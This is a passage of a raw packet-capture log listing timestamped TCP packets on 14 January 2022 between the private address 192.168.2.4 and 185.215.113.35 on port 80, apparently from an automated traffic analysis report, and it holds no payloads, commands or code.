Jan 14, 2022 09:26:01.288105011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288255930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288270950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288439989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288456917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288619041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288638115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288804054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288820982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288981915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.288995028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289164066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289179087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289345980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289360046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289530039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289545059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289711952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289722919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289846897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.289988995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.290004969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.290169954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.290184021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.290353060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.290368080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.292896032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.292920113 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.293040037 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.293060064 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.293247938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.294070959 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.305335045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305365086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305543900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305560112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305802107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305823088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305916071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.305932999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306113958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306130886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306287050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306301117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306490898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306507111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306652069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306667089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306849003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.306868076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307023048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307037115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307255030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307266951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307390928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307404995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307575941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307593107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307756901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307773113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307950020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.307965994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308141947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308154106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308331966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308348894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308511019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308526993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308696985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308713913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308875084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.308890104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309065104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309082031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309250116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309264898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309441090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309458017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309612989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309628010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309807062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309824944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309978008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.309993029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310178995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310187101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310349941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310369968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310534954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.310551882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.311320066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.311346054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.311501026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.311625957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.311749935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.323990107 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.328811884 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.328835011 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.330928087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.330949068 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.331875086 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.331895113 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.331912041 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.332001925 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.340919018 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.340938091 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.340955019 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.341008902 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.341125965 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.341281891 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.341326952 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.345233917 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.346261024 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.347846985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348027945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348042965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348206997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348216057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348398924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348413944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348567963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348582029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348752022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348768950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348927021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.348943949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349111080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349128008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349284887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349301100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349466085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349483013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349652052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.349667072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350172997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350189924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350399971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350415945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350639105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350653887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350861073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.350878954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351087093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351103067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351306915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351324081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351524115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351537943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351761103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351778984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351934910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.351950884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.352099895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.352113962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.352266073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.352514029 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.354449987 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.355592012 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.363285065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.363409042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.363586903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.363795042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.363919973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.364058971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.364175081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.364768028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.364881992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365015984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365159035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365456104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365636110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365727901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.365919113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366116047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366134882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366245985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366410017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366475105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366609097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366806984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366825104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.366936922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367095947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367275000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367291927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367403030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367557049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367636919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367779016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367971897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.367990971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368108988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368114948 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.368309021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368463993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368683100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368701935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368808031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.368968964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369151115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369168997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369298935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369427919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369636059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369652987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369757891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.369914055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370109081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370121002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370233059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370351076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370522976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370598078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370732069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.370989084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.371120930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.371239901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.371319056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.371572018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.371958017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372160912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372175932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372337103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372354984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372513056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372529030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372692108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372709036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372865915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.372879028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373040915 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373049021 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.373050928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373217106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373234034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373347998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373455048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373614073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373631001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373790026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373806000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.373884916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374006033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374082088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374255896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374272108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374425888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374443054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374602079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374618053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374780893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374798059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374955893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.374970913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375128031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375144958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375304937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375320911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375488997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375504971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375617981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375682116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375761986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375963926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.375982046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.380635023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:01.392343998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.392680883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.392688990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.392885923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.392894030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393021107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393162012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393168926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393337011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393343925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393523932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393531084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393698931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393706083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393883944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393893003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.393981934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394166946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394174099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394345999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394351959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394531012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394536972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394706964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394714117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394893885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.394901037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395071030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395078897 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395258904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395266056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395437956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395445108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395621061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395627022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395797968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395803928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395983934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.395993948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396161079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396168947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396348000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396351099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396521091 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396528959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396800041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396806955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396975040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.396982908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397161007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397167921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397336006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397344112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397521019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397527933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397699118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397706032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397887945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.397895098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398004055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398185015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398319960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398534060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398542881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398708105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398710966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398905993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.398914099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399096966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399105072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399187088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399374962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399384022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:01.399549007 CET	49891	80	192.168.2.4	185.215.113.35
